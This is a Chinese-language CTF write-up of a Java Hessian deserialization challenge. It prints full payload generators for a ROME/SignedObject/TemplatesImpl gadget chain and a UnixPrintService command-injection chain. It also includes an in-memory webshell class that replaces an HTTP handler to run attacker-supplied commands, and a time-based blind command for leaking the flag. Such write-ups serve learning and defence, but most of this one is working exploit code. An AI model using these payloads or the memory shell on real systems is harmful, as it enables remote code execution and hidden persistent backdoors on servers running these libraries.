2022虎符CTF-Java部分
写在前面
非小白文,代码基于marshalsec项目基础上进行修改
正文
本身我是不太懂hessian的反序列化,大概去网上搜了一下配合ROME利用的思路(如果反序列化map对象,在逻辑后面通过put操作,从而触发对key调用hashCode打ROME),这里不清楚可以看看ROME利用链以及hessian反序列化的一些简单东西
首先简单看下docker,可以看到会导致不能出网
123456789101112131415161718192021222324252627 |
version: '2.4'services: nginx: image: nginx:1.15 ports: - "0.0.0.0:8090:80" restart: always volumes: - ./nginx.conf:/etc/nginx/conf.d/default.conf:ro networks: - internal_network - out_network web: build: ./ restart: always volumes: - ./flag:/flag:ro networks: - internal_networknetworks: internal_network: internal: true ipam: driver: default out_network: ipam: driver: default |
nginx.conf
12345678910111213141516171819 |
server { listen 80; server_name localhost; location / { root /usr/share/nginx/html; index index.html index.htm;proxy_pass http://web:8090; } #error_page 404 /404.html; # redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; }} |
利用一:SignedObject实现二次反序列化
既然不出网那就无法配合JNDI去利用了(网上主流的利用),后面尝试了TemplatesImpl,在Hessian的一些限制下(有空自己去看源码),导致被transient
修饰的_tfactory
对象无法写入造成空指针异常,为什么呢,自己看图可以看到不仅仅是被transient
修饰,同时静态变量也不行,这里导致另一个利用链不能打,这里不提
之后解决思路就是找个二次反序列化的点触发原生反序列化即可,最后找到个java.security.SignedObject#SignedObject
,里面的getObject可以触发
1234567891011 |
public Object getObject() throws IOException, ClassNotFoundException{ // creating a stream pipe-line, from b to a ByteArrayInputStream b = new ByteArrayInputStream(this.content); ObjectInput a = new ObjectInputStream(b); Object obj = a.readObject(); b.close(); a.close(); return obj;} |
这时候聪明的你一定想问,为什么原生反序列化就可以恢复这个trasient
修饰的变量呢,答案如下com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#readObject
,重写了readOBject方法
因此得到下面简单的payload,下面payload有一些地方还可以完善变得更好,但是我懒
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859 |
package marshalsec;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.rometools.rome.feed.impl.EqualsBean;import com.rometools.rome.feed.impl.ObjectBean;import com.rometools.rome.feed.impl.ToStringBean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import marshalsec.gadgets.JDKUtil;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.security.*;import java.util.Base64;import java.util.HashMap;import static marshalsec.util.Reflections.setFieldValue;public class Test { public static void main(String[] args) throws Exception { byte[] code = ClassPool.getDefault().get("Yyds").toBytecode(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","abc"); setFieldValue(templates,"_class",null); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); setFieldValue(templates,"_bytecodes",new byte[][]{code}); ToStringBean bean = new ToStringBean(Templates.class,templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1); setFieldValue(badAttributeValueExpException,"val",bean); KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); SignedObject so = null; so = new SignedObject(badAttributeValueExpException, privateKey, signingEngine); ObjectBean delegate = new ObjectBean(SignedObject.class, so); ObjectBean root = new ObjectBean(ObjectBean.class, delegate); HashMap<Object, Object> map = JDKUtil.makeMap(root, root); ByteArrayOutputStream os = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(os); output.writeObject(map); output.getBytesOutputStream().flush(); output.completeMessage(); output.close(); System.out.println(new String(Base64.getEncoder().encode(os.toByteArray()))); }} |
这样就可以实现执行反序列化打TemplatesImpl
加载恶意代码了,接下来既然不出网,比较方便的就是去注入内存马
按照经验来讲Web中间件是多线程的应用,一般requst对象都会存储在线程对象中,可以通过Thread.currentThread()
或Thread.getThreads()
获取,按照这个思路写就行了
我是懒狗之间暴力替换handler(继承AbstractTranslet实现HttpHandler),嫌弃麻烦可以自己加路由可以让代码更短,还可以放到静态块防止触发两次,一句话我懒自己改去
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091 |
import com.sun.net.httpserver.HttpContext;import com.sun.net.httpserver.HttpExchange;import com.sun.net.httpserver.HttpHandler;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.*;import java.lang.reflect.Field;public class Yyds extends AbstractTranslet implements HttpHandler { public void handle(HttpExchange t) throws IOException { String response = "Y4tacker's MemoryShell"; String query = t.getRequestURI().getQuery(); String[] var3 = query.split("="); System.out.println(var3[0]+var3[1]); ByteArrayOutputStream output = null; if (var3[0].equals("y4tacker")){ InputStream inputStream = Runtime.getRuntime().exec(var3[1]).getInputStream(); output = new ByteArrayOutputStream(); byte[] buffer = new byte[4096]; int n = 0; while (-1 != (n = inputStream.read(buffer))) { output.write(buffer, 0, n); } } response+=("\n"+new String(output.toByteArray())); t.sendResponseHeaders(200, (long)response.length()); OutputStream os = t.getResponseBody(); os.write(response.getBytes()); os.close(); } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public Yyds() throws Exception { super(); try{ Object obj = Thread.currentThread(); Field field = obj.getClass().getDeclaredField("group"); field.setAccessible(true); obj = field.get(obj); field = obj.getClass().getDeclaredField("threads"); field.setAccessible(true); obj = field.get(obj); Thread[] threads = (Thread[]) obj; for (Thread thread : threads) { if (thread.getName().contains("Thread-2")) { try { field = thread.getClass().getDeclaredField("target"); field.setAccessible(true); obj = field.get(thread); System.out.println(obj); field = obj.getClass().getDeclaredField("this$0"); field.setAccessible(true); obj = field.get(obj); field = obj.getClass().getDeclaredField("contexts"); field.setAccessible(true); obj = field.get(obj); field = obj.getClass().getDeclaredField("list"); field.setAccessible(true); obj = field.get(obj); java.util.LinkedList lt = (java.util.LinkedList)obj; Object o = lt.get(0); field = o.getClass().getDeclaredField("handler"); field.setAccessible(true); field.set(o,this); }catch (Exception e){ e.printStackTrace(); } } } }catch (Exception e){ } }} |
其实可以去静态块改一下,不然执行两次多多少少有点烦,就这样了so easy
当然太暴力了也不好哈哈哈,还可以在上面的sun.net.httpserver.ServerImpl$Dispatcher
直接执行sun.net.httpserver.ServerImpl#createContext(java.lang.String, com.sun.net.httpserver.HttpHandler)
创建新的路由即可
这里就不写了,一个字懒,反正也不难
实现效果
利用二:UnixPrintService直接执行命令
之前不清楚,后面@wuyx师傅提醒我才发现可以不用实现序列化接口,具体可以参考marshalsec的实现
123 |
HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();sf.setAllowNonSerializable(true);output.setSerializerFactory(sf); |
在sun.print.UnixPrintService
的所有get方法都能触发,别看这个是Unix其实linux也有,在高版本被移除(有兴趣自己考古),利用方式就是简单命令拼接执行(缺点就是太能弹了,基本上每个get方法都能弹)
它会去找public修饰的getter方法,而为什么会调用哪个私有方法其实也很简单比如说getAttributes里面就调用了这些触发命令执行的私有方法
1234567891011121314151617 |
public PrintServiceAttributeSet getAttributes() { HashPrintServiceAttributeSet var1 = new HashPrintServiceAttributeSet(); var1.add(this.getPrinterName()); var1.add(this.getPrinterIsAcceptingJobs()); PrinterState var2 = this.getPrinterState(); if (var2 != null) { var1.add(var2); } PrinterStateReasons var3 = this.getPrinterStateReasons(); if (var3 != null) { var1.add(var3); } var1.add(this.getQueuedJobCount()); return AttributeSetUtilities.unmodifiableView(var1);} |
12345678910111213141516171819 |
Constructor<UnixPrintService> declaredConstructor = UnixPrintService.class.getDeclaredConstructor(String.class);declaredConstructor.setAccessible(true);ObjectBean delegate = new ObjectBean(sun.print.UnixPrintService.class,declaredConstructor.newInstance(";open -na Calculator"));ObjectBean root = new ObjectBean(ObjectBean.class, delegate);HashMap<Object, Object> map = JDKUtil.makeMap(root, root);//ByteArrayOutputStream os = new ByteArrayOutputStream();Hessian2Output output = new Hessian2Output(os);HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();sf.setAllowNonSerializable(true);output.setSerializerFactory(sf);output.writeObject(map);output.getBytesOutputStream().flush();output.completeMessage();output.close();System.out.println(new String(Base64.getEncoder().encode(os.toByteArray()))); |
拿flag的话就两种方式JavaAgent
注入内存马,或者本来就是ctf
1
|
if [ `cut -c 1 flag` = "a" ];then sleep 2;fi
|
如何快速拿利用链
在这次比赛后我简单学习了下用tabby,通过下面的neo4j查询语句,之后人工排查下
1
|
match path=(m1:Method)-[:CALL*..3]->(m2:Method {}) where m1.NAME =~ "get.*" and m1.PARAMETER_SIZE=0 and (m2.NAME =~ "exec.*" or m2.NAME =~ "readObject") return path
|
利用一:
利用二:
总的来说还是学的挺多,挺有收获的一个比赛
- source:y4tacker
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论